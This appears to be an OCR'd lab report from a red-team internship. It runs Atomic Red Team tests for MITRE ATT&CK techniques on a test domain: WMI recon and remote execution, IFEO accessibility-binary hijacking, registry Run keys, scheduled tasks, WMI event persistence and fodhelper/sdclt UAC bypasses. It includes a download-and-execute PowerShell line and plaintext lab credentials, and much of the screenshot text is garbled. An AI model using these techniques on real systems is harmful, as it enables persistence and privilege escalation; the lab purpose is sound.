1 Degraded
FALSE cher TRUE TRUE TRUE . = d ) =l 33 TU18-1086 1

1

¥ Atomic Test #2 - WMI Reconnaissance Processes

« An adversary might use WMI to list Processes running on the compromised host.

wmic process get caption,executablepath,commandline

wmic:root\cli>process get caption,executablepath,commandline
Caption CommandLine
System Idle Process

winlogon.exe
services.exe
lsass.exe C:\Windows\system32\1lsass.exe
svchost.exe C:\Windows\system32\svchost.exe DcomLaunch
fontdrvhost. "fontdrvhost.exe"

"fontdrvhost.exe"

C:\Windows\system32\svchost.exe RPCSS

"dwm.exe"

C:\Windows\system32\svchost.exe netsvcs
:\Windows\System32\svchost.exe LocalServiceNetworkRestricted
:\Windows\system32\svchost.exe LocalService
:\Windows\System32\svchost.exe LocalSystemNetworkRestricted
:\Windows\system32\svchost.exe NetworkService
:\Windows\system32\svchost.exe LocalServiceNoNetwork
:\Windows\System32\svchost.exe LocalServiceNetworkRestricted
:\Windows\system32\svchost.exe appmodel
:\Windows\System32\svchost.exe LocalServiceNetworkRestricted
:\Windows\system32\svchost.exe LocalServiceNetworkRestricted
:\Windows\System32\spoolsv.exe

\Program Files (x86)\Common Files\Adobe\ARM\1.@\armsvc.exe"

C:\Windows\System32\svchost.exe -k utcsvc
SecurityHealthService.exe
VGAuthService.exe "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"

aNaNasNasNasNaNasNasNaNs

¥ Atomic Test #4 - WMI Reconnaissance List Remote Services

« An adversary might use WMI to check if a certain Remote Service is running on a remote device.

wmic /node:"192.168.75.20" service where (caption like "%spooler%")

« We will check if the printer spooler service is running on our Domain server.

action with the printer. If you t

DeshtopInteract Displayia

If you turn off this service, you won't be able to print or see your printers. TRUE Print Spooler

Name PathKame ProcessId ServiceSpecificExitCode ServiceType Started StartMode StartMame State
Spoaler C:\Window yeten3d\spoolsy. axe 15 8 Own Proecess TRUE Auts LocalSystem Running
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SystemCreationClassName SystemName TagId WaitHint
Win32_ComputerSystem BATCH6DOMAIN @ c]

AD Domain Controller

« From the output we can conclude that the service is running.

¥ Atomic Test #5 - WMI Execute Local Process

« This test uses wmic.exe to execute a process on the local host.

WMIC PROCESS CALL Create "calc.exe"

Calculator — O X EX Select Windows PowerShell

= STANDARD windou:ls PowerShell - ) -
| Copyright (C) 2016 Microsoft Corporation. All rights reserved.

BPS C:\Users\hackerl> WMIC PROCESS CALL Create
() fExecuting (Win32_Process)->Create()

Method execution successful.

Out Parameters:

M+ M- MS instance of __PARAMETERS
{
1 % v 22 e ProcessId = 578u;
ReturnValue = 0;
CE C = = b
PS C:\Users\hackerl>
7 8 9 X
4 5 6 —
1 2 3 +
+ 0 c =

« Calculator process is created
¥ Atomic Test #6 - WMI Execute Remote Process

« This test uses wmic.exe to execute a process on a remote host.

wmic /node:"192.168.75.20" process call create "calc.exe"
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PS C:\Users\hackerl> wmic /node:"192.168.75.20" process call create
Executing (Win32_Process)->Create()

ethod execution successful.

Out Parameters:

instance of __PARAMETERS

ProcessId = 356;
ReturnValue = 0;

- Task Ma_n&qﬁr

File Optians View

T i ;
Processes | Performance | Users| Details | Services |

- =] Status User na.. |CPU Memory .. Description

MName
| calcexe 3272 Running hacker1 0a 4120 K Windows Calculator
| calcexe 340 Running hacker1 4116 K Windows Calculator
[ calc.exe 356 Running hackert | 00 4120 K Windows Calculator Processes are created in Domain Server
el exe 3092 Running hacker? { 372K Windows Command Processor by hacker1 user
B oo exe 268 Funning hacker1 368 K Windows Command Processor
Ml connostexe 1520 Running SYSTEM 4532 K Console Window Host
Bl connostexs 1016 Running hacker1 512K Console Window Host
Bl conhostexe 2600 Running hacker] 316 K Console Window Host
B! csrss.exe S44  Running SYSTEM 1080 K Client Server Runtime Process
B! csrsspne 636  Running SYSTEM S48 K Client Server Runtime Process
B dfers.exs Rurnining SYSTEM 7012 K Distributed File System Replication
B ! dfssuc.exe Funning SYSTEM 1.208 K 'Windows MT Distributed File System 5Ser..
B! dilhostexe L Running SYSTEM 2816 K COM Surrogate
B dns.exe Running SVETEM 81480 K Domain Mame Systemn (DNE) Server
B dwm.exe Running DWM-1 { 22424 K Desktop Window Manager
J|explorerexe Running Adminis... 9112 K Windows Explorer
B ismserv.exe Running SYSTEM SBO K ‘Windaws MT Intersite Messaging Service
B! |sass.exe Running SYSTEM 17452 k. Local Security Authority Process
B Microsoft Active. Funning SYSTEM L 103160 K MicrosoftActiveDirectory. WebServices
s msdtcexs Running NETWO... 2332 K Microsoft Distributed Transaction Coord...
Jl notepad exe Running hacker1 FAOK Motepad
I notepad.exe ; Running hacker1 40K MNotepad

Inntanad ava Rumnnina harkarsl TA4 ¥ Matenad

K- Fepr RS 293&& erver 201 andard Evalua
Windows License valid for 178 da

Build 92

Persistence

T1546.008 - Accessibility Features

o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.008/T1546.008.md

o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.012/T1546.012.md

» Windows contains accessibility features that can be launched with key combinations on the windows login screen.

« Attackers can modify these binaries and replace it with malicious binaries which when activated can get persistence or
elevated privileges.

« In newer versions of windows the replaced binary should be digitally signed and must reside in system directory, and it
must be protected by Windows File or Resource Protection (WFP/WRP).

« The Image File Execution Options (IFEO) Injection debugger method was discovered as a potential workaround
because it does not require the corresponding accessibility feature binary to be replaced. We can just attach a
debugger to an application which in our case CMD.exe or any malicious code and when this application is opened and
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the process is created, the debugger present in the application's IFEO will also be launched creating a new process
under the debugger.

o Other accessibility features exist that may also be used in a similar fashion

On-Screen Keyboard: C:\\Windows\\System32\\osk.exe
Magnifier: C:\\Windows\\System32\\Magnify.exe

Narrator: C:\\Windows\\System32\\Narrator.exe

Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe
App Switcher: C:\\Windows\\System32\\AtBroker.exe

¥ Atomic Test #1 - Attaches Command Prompt as a Debugger to a List of Target Processes

« Attaches cmd.exe to a list of processes.

$input_table = "osk.exe, sethc.exe, utilman.exe, magnify.exe, narrator.exe, DisplaySwitch.exe, atbroker.exe".split(",")
$Name = "Debugger"
$value = "cmd.exe"

Foreach ($item in $input_table){
$item = $item.trim()

$registryPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$item"
IF(!(Test-Path $registryPath))
{

New-Item -Path $registryPath -Force
New-ItemProperty -Path $registryPath -Name $name -Value $Value -PropertyType STRING -Force

}
ELSE

{
New-ItemProperty -Path $registryPath -Name $name -Value $Value

}

Demo

R Sslect Administraton Windows Powershe

itre\persistenc

Hive: HHEY_LOCA { rosoft\Windows ilonYImage

¢ Microsoft wersShell.
Pawershall.

Execution
acution

Options

soft\Windows NT\CurrentV ion‘\Image File

« Registry keys are created for all of accessibility applications.
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T1547.001 - Registry Run Keys / Startup Folder
o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md

» Attackers may acheive persistence by adding a problem to a startup folder or referencing it with a Regitry run key. By
doing so will cause the program to be executed when user logs in.

o There are many locations we can add the registry and many ways to acheive this. Below we will look at some of them.

¥ Atomic Test #1 - Reg Key Run

REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Batch6é Team" /t REG_SZ /F /D "notepad.exe"

EF Administrator: Windows PowerShell ISE - =] X

File Edit View Tools Debug Add-ons Help

o 4 B » | 0 p ~ (Y] f—*! T " B .

Cleanup Commands.ps1 | 1.Reg Key Runpsl X

1 REG ADD "HHCU\SOFTWARE\Microseft\Windows\CurrentVersion\Run" /V "Batché Team" /t REG_5Z /F /D "notepad.exe"

PS C:\Windows\system32> C:\Users\hackerl\Desktop\mitre\persistence\Cleanup Commands.psl

PS C:\Windows\system32> C:\Users\hackerl\Desktop\mitre\persistence\l.Reg Hey Run.psl
The operation completed successfully.

Registry added to open notepad when user logs in
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ﬁ Reqgistry Editor = O X

File Edit View Favorites Help

Computer\HKEY CURRENT USER\Sofwware\Microsoft\Windows) CurrentVersionyRun

; Motifications “ || Namne Type Data

OnDemand InterfaceCac || ab)(Defauit) REG 5Z (value not set)
PenlWorkspace i
Policies
PrecisionTouchPad
Prefaunch
Privacy
PushMotifications p
CATAR Qur registry
Run
RunOnce
Screensavers

! REG 57 notepad.exe
ab| OpeDrive REG 52 “CAUsers\hacker IWAppData\LocahMicrosoftyOneDrive\OneDrive.exe” fbackground

+ When | log off and log on, we can see that the notepad automatically opened.

T DT MY - WMware Weriestation - e p basild - 15430306 = a %
Be Eit Ve W Tms e |l- | B c@e DO0ES E -
T T") Parral momasy TR WIn_1Ta_e_ha T3t Wirwlaves Gevver 2012 ] wrs1_sarshes ] e L

v Atomic Test #3 - PowerShell Registry RunOnce
* RunOnce Key Persistence via PowerShell Upon successful execution, a new entry will be added to the runonce item

in the registry.

set-itemproperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "NextRun"
'powershell.exe "IEX (New-Object Net.WebClient).DownloadString( "https://raw.githubusercontent.com/redcanaryco
/atomic-red-team/master/ARTifacts/Misc/Discovery.bat™")"'

APT29 - MITRE ATT&CK 24



[ PurpleSynapz

Computer, HKEV_LOCAL MACHINE\SOFTWARE Micra: i tuersion\RunCnce.

PhatoProper = || Name Type Data

Pl ] (Defauit) REG.SZ fvalus not set)

PowerEfficie || o8] NeeiRun REGST powershell exe “|EX (New-Object NetWebClientl. DownloadString( hitps
PrecisionTou
PreviewHan [
ik ; £ Adminstrator: Windows PowerShell |SE

Arivacy

ProperySyst | File Edit View Tools Debag Add-ons  Help

Froyimty [O@ J 4 Bax ¢ a0 w gBoolmom.

Sushhactifica

frave githubusercontent,

Reliahility | | 3~ PowerShell Regietry RunOncepe] X | 3 - Cleanup Commands.psl 2
1 SRunOnceley

?ﬁ"a' . [ y = "HHLM:\Softmare‘\Microseft\Windows\Currentiersion'\Rundnce"
;:D“ I set-itemproperty $RunDncedey "NextRun® ‘powershell.exe "IEX (New-Object Net.WebClient]).DewnloadString(®"https://r:
ce
/ Search
SecondaryAL
SecurefAssesz
Security and
SettingSync
Setup
SharedAcoes
SharedDLLs
shaedPC

< > L c %3 — Power5Shell Registry RunOnc

Windows PowerShell ~ Number of events: 361

Level Date and Time Source Event ID Task Category e
@In!ormation 6/29/2020 3:42:26 PM PowerShell (PowerShell) 403  Engine Lifecycle
fj)lnformation 6/29/2020 3:42:25 PM PowerShell (PowerShell) 400 Engine Lifecycle

@In!ormation 6/29/2020 3:42:25 PM PowerShell (PowerShell) 600
¥ Information 6/29/2020 PowerShell (PowerShell) Provider Lifecycle

(j:) Information 6/29/2020 3:42:25 PM PowerShell (PowerShell) 600 Provider Lifecycle v

Provider Lifecycle

Event 600, PowerShell (PowerShell) x

General Details

ProviderName=Function -
NewProviderState=5Started

SequenceNumber=9

HostName=ConsoleHost

HostVersion=5.1.15063.0

Hostld=78abdaf8-28¢f-49df-8890-2801e7089%fe

HostApplication=C:\Windows\System 32\WindowsPowerShell\v1.0\powershell.exe IEX (New-Object Net.WebClient). DownloadString

(https://raw.qgithubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat) W
Log Name: Windows PowerShell
Source: PowerShell (PawerShell) Logged: 6/29/2020 3:42:25 PM
Event ID: 600 Task Category: Provider Lifecycle
Level: Information Keywords: Classic
User: N/A Computer: WIN10-M1internship.com
OpCode:
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The request will a domain controller for domain internship.com.
Group nane

Conment f the domain

batch script commands

naie dinternship.

station
NetBT_T

on
y_{11B67E18-

—gg

DEFDBY!
Software version s 18 Enterpr.

domain
ation Domain DNS Name

ion INTERNSHIP

p.com
INTERNSHIP

0 L 28 Gttt 165

« The startup registry will run the script in PowerShell

« The script will download a .bat batch script which contains several commands which we can see in the screenshot

above.
* The executed commands results can be seen on the right side of the screenshot.
¥ Atomic Test #4 - Suspicious vbs file run from startup Folder

« vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, "T1547.001
Hello, World VBS!" will be displayed twice. Additionally, the new files can be viewed in the

"$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" folder and will also run when the computer is

restarted and the user logs in.

st o VBScripts created ‘/
1 This PC 5 Local Disk (iC) » AppData » Roaming » Microsoft * Windows * Start Memu > Pregrams * Startup (4]
Dare modified Tyoe Size
1 ite
# Quick access re
m Deskiop il )
KN - / ©
€ v 4 This PC » Lecal Disk(C) » PrghramData Microsoft > Windows Start Meny Programs Startup - Search Startup y -]
Mame D odified Type Size 1 itair
# Quick access e &
m Desktop 626 011 ) E
& Dovmloads B8 Administrator Windows PawerShell ISE - u] X
bl Bocaments File Edil View Tools Debug  Add-ors Help
2 Pictures H a x "] ] %) | % B
execution
Suspicious vhs file run from startup Folderpsi X >
B Music . m .
1 Copy-Item C:hl cs)\T1547., 001 \src\vbsstartup, vbs "jeny DATA\Micresoft\Windows\ 5t
Pestence ;  Copy-Item I \ i 7.001\src\vbsstartup, vbs "C: \Praq*aml:ata\mlcrc.su FriWindows
w54 3 cscript.exe W -\Nicro.—.oFL\wlndnm \SLarL r‘lcr‘u\Pruqram;\Sta_ tup'vbsstartup.vbs
i C:\ProgramData’Microsoft\Windows\Start Menu'\Pregrams\StartUp\vbsstartup vbs®
@ Onelirive
& This PC PS5 C:\dindows §s 1
Mi oft (R) Windows Script Host Version 5.812
o Netwark

Copyright (C) Microsoft poration. ALl rights reserved.
T1547.881
Microsoft

Copyright

Hello, World VBS!
(R) Windows Script Host Version
(C) Microsoft Corporat] reserved.

T1547.861

Hello, World WBS!
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11547001 Hello, Word VES!

Windows Script Host

T1547.001 Helle, Wrld VS

« When we log off and log on, the VB scripts are executed automatically

T1053.005 - Scheduled Task
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md

¥ Atomic Test #1 - Scheduled Task Startup Script

« Run an exe on user logon or system startup. Upon execution, success messages will be displayed for the two
scheduled tasks. To view the tasks, open the Task Scheduler and look in the Active Tasks pane.

schtasks /create /tn "T1053_005_0nLogon" /sc onlogon /tr "cmd.exe /c calc.exe"
schtasks /create /tn "T1053_005_0OnStartup" /sc onstart /ru system /tr "cmd.exe /c calc.exe"

LN Administrator. Windows PowerShell

PS C:\Windows\system32> schtasks /create /tn /sc onlogon /tr

SUCCESS: The scheduled task "T1053_005_OnLogon" has successfully been created.

PS C:\Windows\system32> schtasks /create /tn /sc onstart /ru system /tr

SUCCESS: The scheduled task "T1053_005_0OnStartup" has successfully been created.
PS C:\Windows\system32> _
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Name Status  Triggers Next Run Time Last Run Time Last Run Result At
(] GoogleUpdateTaskMac.. Ready Multiple triggers defined 6/30/2020 5:03:54 PM 6/29/2020 T:08:25 PM The operation completed successfully. (0x0)
(2 GaogleUpdateTaskMac.. Ready At 5:03 PM every day - Afte..  6/29/2020 8:03:54 PM  £/29/2020 7:03:54 PM The operation completed successfully. (0x0)
5 OneDrive Standalone U.. Ready At 5:00PMon 5/1/1992- A 6/30/2020 6:52:08 PM 11/30/1999 12:00:00 AM The task has not yet run. (0x41303) Mis
(% OneDrive Standalone U.. Ready At S5:00PM on 5/1/1992 - A §/30/2020 5:54:43 PM ©/29/2020 5:58:52 PM (Ox8004EE04) Mis
5 spawn Ready At 7:00 PM on 6/29/2020 6/29/2020 7:00.00 PM The operation completed successfully. (0x0) INT
5 T1053_005_Onlogon Ready Atlog on of any user 6/29/2020 T:08:25 PM The operation completed successfully. (0x0)|  INT
(5 T1053_005_OnStartup Ready At system startup 11/30/1999 12:00:00 AM The task has not vet run. (0x41303) INT
5 User_Feed_ Synchroniza.. Ready At 739PM every day - Trig.. 6/29/20207:39:14 PM 11/30/1999 12:00:00 AM The task has not yet run. (0x41303) DE!
V)
>

General Triqggers Actions Conditions Settings History

Name: iAtDITIiCTaSk

Location:  \
Author

Description:

Security options
When running the tack, use the following user account:
Administrators

Run only when user is logged on

Run whether user is logged on or not

Do not store password, The task will only have access to local resources

Bl sl it s e

« The second task will run when | restart.
¥ Atomic Test #2 - Scheduled task Local

« Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 19:00

SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\notepad.exe /ST 19:00

PS C:\Windows\system32> SCHTASKS /Create /SC ONCE /TN spawn /TR C:\windows\system32\notepad.exe /ST 19:00
SUCCESS: The scheduled task "spawn" has successfully been created.

PS C:\Windows\system32> _

« At exactly 7 PM evening, notepad automatically opened
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File Edit Format WView Help

¥ Atomic Test #3 - Scheduled task Remote

« Create a task on a remote system.

o Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 06:36 on a remote
endpoint.

SCHTASKS /Create /S 192.168.75.20 /U Administrator /P Hacker@123 /TN "Atomic task"
/TR "C:\windows\system32\cmd.exe" /SC daily /ST 19:00

PS C:\Windows\system32> SCHTASKS /Create /S 192.168.75.20 /U Administrator /P Hacker@l23 /TN
J/SC daily /ST 06:36

WARMING: The task name "Atomic task' already exists. Do you want to replace it (¥/N)?

SUCCESS: The scheduled task "Atomic task™ has successfully been created.
PS C:\Windows\system32=
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Administrator: C:\windows\system32\cmd.exe

Microsoft Windows [Uersion 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection-specific DNS Suffix

Link-local IPVE Address . . . . . : fe80::9958:eccdd:3e8f:8cf5%12
IPu4 Address. . . . . . . . . . . : 192.168.75.20

Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.75.10
Tunnel adapter isatap.{ACS46BSE-1D3A-4552-8B7C-711EG4ABFEES}:

Media State . . . . . . . . . . . : Hedia disconnected
Connection-specific DNS Suffix

C:\Windows\system32>_

Build 9200
6:36 AM
- |5 B s

6/29/2020

¥ Atomic Test #4 - Powershell Cmdlet Scheduled Task

« Create an atomic scheduled task that leverages native powershell cmdlets.

$Action = New-ScheduledTaskAction -Execute "calc.exe"

$Trigger = New-ScheduledTaskTrigger -AtLogon

$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest

$Set = New-ScheduledTaskSettingsSet

$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings $Set
Register-ScheduledTask AtomicTask -InputObject $object

& administrator; owerShall 15E

Filz  Edit View Tools Debug Add-oms Help

B x| ® y B | @ | 8| Boo|mm.

Untitled1.ps1 | Create shortcut to cmd in startup foldersps1 | Powershell Cmdlet Scheduled Tackps1 X

New=-ScheduledTaskAction -Execute "calc.exe"
Nen-3cheduledTaskTrigger -AtlLogon

New—ScheduledTaskPrincipal —GroupId "BUILTIN\Administrators®™ -RunLewel Highest
New-ScheduledTaskSettingsSet
New-ScheduledTask —Action SAction -Principal fSuser —Trigger $Trigger —Settings $set

Register-ScheduledTask Atc

icTask -InputObject Sobject

PS C:\Windows\system32> C:\Users\hackerl\Desktop\mitre\persistence\Create shortcut te emd in startup folders.psl
PS C:\Windows\system32> C:\Users\hackerl\Desktop\mitre\persistence\Powershell Cmdlet Scheduled Task.psl

TaskPath TaskName State

AtomicTask Ready
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Last Run Time
6,/29,/2020 60801 PM

Next Run Time
&30,/2020 5:00:00 PR

Jask Schechilse locl MName /St“tus Triggers
w % Task Scheduler Libras : z i
i - L Multiple triggers dafined

w Micasoft m
Office @ AtomicTask  Ready Atlog on of any user 6/20/2020 TOR2S PM
Windaws B Googledpda.  Ready  Multiple triggers defined GR0E020 50354 P 6/20/2020 TO8:25 P
= biCameSave B Googlelpda. Ready At 503 PM every day - Afte. 6292000 B0354 P 6/20/2020 70354 PM

OneDrve Sta_. He\!dy At 500 P aon 50171992 - AL §30/2000 E5208 PR
OneDrive Sta.. Ready At S00FM on 57171992 - A G/30/2020 5:54:43 PM

11/30/199% 120000 Al
6/29/2020 55852 PM

Last Run Result

The cpemtion completed suoo

stully, (0x0]
The cperation completed successTully. (i)
The cperation completed successfully, ()
The coeration completed successfully, (00}
The task has not yeld run. (Ol 7303)

(CBCOSEEC]

Aithor i
Adobe Syster

Microsnft Car

Microsott Cor

(% spawn Ready At 700 PM an 6292020 202020 70000 PM The cperation completed successfully. (0 INTERMSHIPY-
DT1053. 005 0. Ready  Atlog onof any user /29,2020 TO8:25 PM The cperation completed successfully. (dd]  INTERNSHIPYH
TLTHACI ANC M Donds Ak rirtorn céa T 14304905 1 HWWLAKY  The tark hoar ned aé oo Mhed 13030 T mcLay Y
< >
Genersl  Triggers  Actions  Conditions  Setfings  History
Meme  [AtomicTask ,’___\M pe
Locatbor: %
Auther
Description:
Zeourity options
When running the task. use the following user account:
Administrators
Run enly when user & 10gged 0n fm—
Run whether user is logged on ar not
Do not store password. The tazk will only have accsss to local resources
P it laback mebifaiar i
T1547.009 - Shortcut Modification
¥ Atomic Test #1 - Shortcut Modification
o This test will simulate shortcut modification and then execute a shortcut (*Ink , .url). Upon execution, calc.exe will
be launched.
echo [InternetShortcut] > $env:temp\T1547.009_modified_shortcut.url
echo URL=C:\windows\system32\calc.exe >> $env:temp\T1547.009_modified_shortcut.url
cat $env:temp\T1547.009_modified_shortcut.url
& "$env:temp\T1547.009_modified_shortcut.url"
fome ™
T » ThisPC » Local Disk (C) » Users » hackerl » AppData » Local » Temp 4] -]
Diate me 1 ”
Laeulinor ) T1547,009 modified_shartcut it ol L
= STANDARD | B acminisirator: Windows PowerShet| 158 - o :
| Flie Edit Wiew Tools Debug  Add-ons  Help
| [ R B x =0 P B w8 SO0 & @,
Aug;::tg:;“y Suspicious vbs filerun from startup Folderpst | Shortout Modification.ps! X

calculator

32> C:\Users\hackerl\Desktop\mitre

C:\Windows'\system3z=
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¥ Atomic Test #2 - Create shortcut to cmd in startup folders

o LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to
"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" to view the new shortcut.

« v > ThisPC * Local Disk (C:) > ProgramData > Microsoft > Windows > StartMenu * Programs > Startup
Name Date modified Type Size
7l T1547.009 2 Shortcut 1KB
= Desktop : CMD Shortcut orteu
;{]vbsﬂaﬁupybs 6 VBScript Script File 1KB

# Downloads

< Nneniments

115487001 Hello, World VES

Wintdows Script Host

T1547.001 Hello, World VBS

+ We can see two CMD's are opened automatically along with previous VB Scripts

T1546.003 - Windows Management Instrumentation Event Subscription
o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.003/T1546.003.md

« WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event
occurs.

« Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.

o Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event
occurs, providing persistence on a system.

¥ Atomic Test #1 - Persistence via WMI Event Subscription

« After running the script, we have to reboot the victim machine. After it has been online for 4 minutes we should see
notepad.exe running as SYSTEM.

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
EventNameSpace='root\Cimv2';
QuerylLanguage="wQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_Perf0S_System' AND
TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-Example';
CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
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$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{

Filter = [Ref] $Filter;

Consumer = [Ref] $Consumer;

}

$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding
-Property $FilterToConsumerArgs

Persistence via Whil Event Subscription.ps? =

1 SfFi @{nane-'AtonicRedTeam-WMIPersistence—Example’;

EventHamespace- ' roet\Cisva' |

Querylanguage="W(L";
y Query "SELECT * FROM _ InstanceModificationEvent WITHIN 60 WHERE TargetI
5 SFilter-Nem-CimInstance =Nanespace root/subscription =ClassName _EvemtFilter =Property 3 rgs

gfnane='AtonicRedTean-WMIPersistence—Exanple ' ;
& ConmandLineTenplate-"$( toot I\ Systen3dinotepad. exe
uner-New-CinInstance -Namespace root/s p =ClassName Conmandl

ption ~ClassMame _ FilterTolonsume

nding -Property $FilterToConsumer

ence via WMI Event Subscriptien.psl

Completed in15 Col 141 Mo

iption

Hie Optiors: View Running as System

Processes  Parformance App history Startup Users Details Services

_CLA: 3 dlLineEventConsumer
: X Hame e

Staus Memory (pr.. Descrptian
I natepad axe Ruping I &7 Motepad
AtomicRedTeam-WHIPer o Oinelirive.cne Rurning w 3024 ¥ Meoosoft OneDnve
o olsd e Rurning 00 K Viware Toals Care Servi.
tionRalated. vmidservice s Fureing 00 0% wmidseniceme
I1llllllllg 0 £ Windows Detendar notifi..
Ruswi W ¥ Applicaton Frame Host
R SYSTEM L1} B WM Perfoemanos Revers
Rurning SYSTEM 1] € W Pravider Host
B conhost e Rurning hackert ] ¥ Carsobe Window Host
+ Opanlbith e Rurring SYSTEM 1] L Tickan app
Tastkrngr s Ruiting hackarl 0z i Task Menager
B powershaliseaxe Ruraing 1 0 ® Windaws PowerShell ISE
Ve can see thal the event is = 4 P g Rureing hackart ma ¥ Autostart progreen viewer
created | RuntimeBroies, exe Rupiing hackee? ] ¢ Runtime Broker
Searnchillane Suspended hacker1 (] f % Search and Cortana appli-
ShellExperiencetiost. . 3616 Suspended hackerl 00 Windaws Shell Experienc_.
xecutablePat) - I natepad.2xe Rureing SYSTEM oo raonepad
illattribute ppetiostane Suspended hackerl ] WECosft Skype Pre
£ Searchindeser.exe Rurning SYSTEM o A
 explomerexe Rurning hacker 0
taskhastw.os Rurning hackert w0 Hast Pracess for Window.
B suchost exe Rurming hackert 00 Host Process far Wind
it ave narkact m

Fewer getails

nstanee ISA 'Win32_PerfFornattedData Perf0S_System' AND TargetInstance.Systenlp

Task Manager = o LS

Privilege Escalation

T1548.002 - Bypass User Access Control

e https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1548.002/T1548.002.md

« Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under
administrator-level permissions, possibly by prompting the user for confirmation.
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« Adversaries may bypass UAC mechanisms to elevate process privileges on system

¥ Atomic Test #3 - Bypass UAC using Fodhelper

* Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe).

B Administrator: C\Windows!\System32\cmd exe

zo T must be an

¥ Atomic Test #4 - Bypass UAC using Fodhelper - PowerShell

« PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper
(fodhelper.exe).

=
File  Edit View Tools [ebug Add-ons Heip

H 4 o »x 0 a3 B = BB g

o

Untitledl.ps1 | Inwoke-Event\wiBypass.ps1 | Bypass UAC using Fodhelper - PowerShellpst X
1 New-Item "HHCU:\software\classes‘\ms-settings\shell\open‘\command® -Force
New=ItemProperty "HHCU:'‘software\classes\ms=-settings\shellopen'command® -Name "DelegateExecute” =Value "" =-Force
Set-ItemProperty "HKCU:'‘\softwar asses\ms-settings\shell\open\comnand® -Name "(default]" -Value "C:\Windows\System32\cmd.exe" -Force
Start-Process "C:\Windows'\Syste fodhelper.exe”

PS5 C:\Users\hachkerl= C:‘\Users\hackerl\Desktop\mitre\privilege_escalation\Bypass UAC using Fodhelper - PowerShell.psl
Hive: HHEY, RENT_USER\seftware\classes\ms-settings\shell\open

Name Property

comrand

DelegateExecute :
nspm. : Microsoft.Po hell. cornﬂeuut_ry .ME\' EURRENT IJSER\swtmrc\:_Lmau\nrsctr huLlwpcn\Loﬂmand
¢ Micresoft.Powershell.Core\Registry:: 1
© command
: HHCU
¢ Micresoft.PowersShell.Core\Registry

Compleied
—

¥ Atomic Test #7 - Bypass UAC using sdclt DelegateExecute

« Bypasses User Account Control using a fileless method, registry only. Upon successful execution, sdclt.exe will
spawn cmd.exe to spawn notepad.exe
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=

Eile Edit Miew Took: Dabug Add-oms  Heip
Ho# ax» =0 » B = 8|5 mo| .

Untitled] gs1 | Invake-Eventiteriypass.pst. | Bypass WAC using Fodhelper - PowerShellpst | Bypass UAC usng ComputerDiefaults (PowerShellps] | Bypass UAC using sdclt DeegateErecutipsd X ~
Nes-Iten -Force -Path "HWCU: \Scftware\Classes\Folderishall\open'command” -Value 'coad.exe fc notepad .exe’

nProperty -Force -Path "HHCU:
rocess —FllePath Senv:iwine

SoftwarehClasses\Folder\shell\opentconmand” -Name "DelegateExecute”

t.oxe

Mane

comnand

DelegateExecute :
h :

older\shell
oldar\shalliopen

PSProvider : Wicrosoft.PowerShell. Core\Registry

Utitied - Motepad

A ile et Foemat i E
rs\hackerl> Eile Egit Foemat View Help

Completed

Spawned Notepad

—| W cmd.exe 2892K 2792K 2192 " " " High
# | conhostexe 6.152K 17588K 3404 Notepad has high integrity High

¥ |notepad.exe 2900K 14440K 4132 — High

Defense Evasion

T1551.004 - File Deletion
o https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1551.004/T1551.004.md

o Adversaries may delete files left behind by the actions of their intrusion activity
¥ Atomic Test #1 - Delete a single file - Linux/macOS

« Delete a single file from the temporary directory

rm -f #{file_to_delete}
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Jtmp (Thumbs)

31
Tue 30 Jun
Uptime: Oh 7m 40s

rox-icewm
res: 1024x768
dpi: 96
Automount: enabled
CPU: 4%

File Edit Wiew Search Preferences Tabs Help

5 mkdir /tmp/Illuminati-is-real

ntixl:~
lolz" > /tmp/just kidding.txt

$ mv /tmp/ t_kidding. txt /tmp/Illuminati-is-real/
anti ntixl:~
mv ftmp/Illuminati-is-real /tmp/illuminati-is-real
x@antixl:~
Jtmp/illuminati-is-real/
ntixl:/tmp/illuminati-is-real

= ‘illuminati-is-real
